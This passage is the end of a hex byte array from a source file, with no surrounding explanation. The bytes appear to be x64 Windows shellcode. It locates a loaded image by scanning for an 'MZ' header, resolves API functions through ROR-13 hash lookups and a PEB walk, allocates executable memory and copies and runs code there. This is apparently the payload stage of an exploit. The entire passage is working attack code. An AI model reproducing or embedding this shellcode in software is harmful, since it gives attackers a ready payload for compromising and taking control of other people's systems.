0x49, 0xC1, 0xE7, 0x0C, 0x49, 0x81, 0xEF, 0x00, 0x10, 0x00, 0x00, 0x49, 0x8B, 0x37, 0x66, 0x81,
|
|
0xFE, 0x4D, 0x5A, 0x75, 0xEF, 0x41, 0xBB, 0x5C, 0x72, 0x11, 0x62, 0xE8, 0x18, 0x02, 0x00, 0x00,
|
|
0x48, 0x89, 0xC6, 0x48, 0x81, 0xC6, 0x08, 0x03, 0x00, 0x00, 0x41, 0xBB, 0x7A, 0xBA, 0xA3, 0x30,
|
|
0xE8, 0x03, 0x02, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x39, 0xF0, 0x77, 0x11, 0x48, 0x8D, 0x90,
|
|
0x00, 0x05, 0x00, 0x00, 0x48, 0x39, 0xF2, 0x72, 0x05, 0x48, 0x29, 0xC6, 0xEB, 0x08, 0x48, 0x8B,
|
|
0x36, 0x48, 0x39, 0xCE, 0x75, 0xE2, 0x49, 0x89, 0xF4, 0x31, 0xDB, 0x89, 0xD9, 0x83, 0xC1, 0x04,
|
|
0x81, 0xF9, 0x00, 0x00, 0x01, 0x00, 0x0F, 0x8D, 0x66, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xF2, 0x89,
|
|
0xCB, 0x41, 0xBB, 0x66, 0x55, 0xA2, 0x4B, 0xE8, 0xBC, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x75, 0xDB,
|
|
0x49, 0x8B, 0x0E, 0x41, 0xBB, 0xA3, 0x6F, 0x72, 0x2D, 0xE8, 0xAA, 0x01, 0x00, 0x00, 0x48, 0x89,
|
|
0xC6, 0xE8, 0x50, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF9, 0xBF, 0x77, 0x1F, 0xDD, 0x75, 0xBC, 0x49,
|
|
0x8B, 0x1E, 0x4D, 0x8D, 0x6E, 0x10, 0x4C, 0x89, 0xEA, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0xE5, 0x24,
|
|
0x11, 0xDC, 0xE8, 0x81, 0x01, 0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x8D,
|
|
0x4E, 0x08, 0x49, 0xC7, 0x01, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x31, 0xC0, 0x4C, 0x89, 0xF2, 0x31,
|
|
0xC9, 0x48, 0x89, 0x0A, 0x48, 0xF7, 0xD1, 0x41, 0xBB, 0x4B, 0xCA, 0x0A, 0xEE, 0x48, 0x83, 0xEC,
|
|
0x20, 0xE8, 0x52, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x49, 0x8B,
|
|
0x3E, 0x48, 0x8D, 0x35, 0xE9, 0x00, 0x00, 0x00, 0x31, 0xC9, 0x66, 0x03, 0x0D, 0xD7, 0x01, 0x00,
|
|
0x00, 0x66, 0x81, 0xC1, 0xF9, 0x00, 0xF3, 0xA4, 0x48, 0x89, 0xDE, 0x48, 0x81, 0xC6, 0x08, 0x03,
|
|
0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x8B, 0x11, 0x4C, 0x29, 0xE2, 0x51, 0x52, 0x48, 0x89, 0xD1,
|
|
0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x26, 0x40, 0x36, 0x9D, 0xE8, 0x09, 0x01, 0x00, 0x00, 0x48,
|
|
0x83, 0xC4, 0x20, 0x5A, 0x59, 0x48, 0x85, 0xC0, 0x74, 0x18, 0x48, 0x8B, 0x80, 0xC8, 0x02, 0x00,
|
|
0x00, 0x48, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0x83, 0xC2, 0x4C, 0x8B, 0x02, 0x0F, 0xBA, 0xE0, 0x05,
|
|
0x72, 0x05, 0x48, 0x8B, 0x09, 0xEB, 0xBE, 0x48, 0x83, 0xEA, 0x4C, 0x49, 0x89, 0xD4, 0x31, 0xD2,
|
|
0x80, 0xC2, 0x90, 0x31, 0xC9, 0x41, 0xBB, 0x26, 0xAC, 0x50, 0x91, 0xE8, 0xC8, 0x00, 0x00, 0x00,
|
|
0x48, 0x89, 0xC1, 0x4C, 0x8D, 0x89, 0x80, 0x00, 0x00, 0x00, 0x41, 0xC6, 0x01, 0xC3, 0x4C, 0x89,
|
|
0xE2, 0x49, 0x89, 0xC4, 0x4D, 0x31, 0xC0, 0x41, 0x50, 0x6A, 0x01, 0x49, 0x8B, 0x06, 0x50, 0x41,
|
|
0x50, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xAC, 0xCE, 0x55, 0x4B, 0xE8, 0x98, 0x00, 0x00, 0x00,
|
|
0x31, 0xD2, 0x52, 0x52, 0x41, 0x58, 0x41, 0x59, 0x4C, 0x89, 0xE1, 0x41, 0xBB, 0x18, 0x38, 0x09,
|
|
0x9E, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xE9, 0x41, 0xBB, 0x22, 0xB7, 0xB3, 0x7D, 0xE8,
|
|
0x74, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0x0D, 0xE2, 0x4D, 0x85, 0xE8, 0x66, 0x00,
|
|
0x00, 0x00, 0x48, 0x89, 0xEC, 0x5D, 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5E,
|
|
0xC3, 0xE9, 0xB5, 0x00, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D,
|
|
0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xEC, 0xC3, 0x31, 0xD2,
|
|
0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x12,
|
|
0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x45, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x3C,
|
|
0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xEE, 0x45, 0x39,
|
|
0xD9, 0x75, 0xDA, 0x4C, 0x8B, 0x7A, 0x20, 0xC3, 0x4C, 0x89, 0xF8, 0x41, 0x51, 0x41, 0x50, 0x52,
|
|
0x51, 0x56, 0x48, 0x89, 0xC2, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00,
|
|
0x00, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0x48,
|
|
0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0xE8, 0x78, 0xFF, 0xFF, 0xFF, 0x45, 0x39,
|
|
0xD9, 0x75, 0xEC, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48,
|
|
0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x5E, 0x59,
|
|
0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5B, 0x41, 0x53, 0xFF, 0xE0, 0x56, 0x41, 0x57, 0x55, 0x48,
|
|
0x89, 0xE5, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xDA, 0x16, 0xAF, 0x92, 0xE8, 0x4D, 0xFF, 0xFF,
|
|
0xFF, 0x31, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x41, 0x59, 0x4C, 0x8D, 0x05, 0x1A, 0x00, 0x00, 0x00,
|
|
0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x46, 0x45, 0x1B, 0x22, 0xE8, 0x68, 0xFF, 0xFF, 0xFF,
|
|
0x48, 0x89, 0xEC, 0x5D, 0x41, 0x5F, 0x5E, 0xC3,
|
|
}
|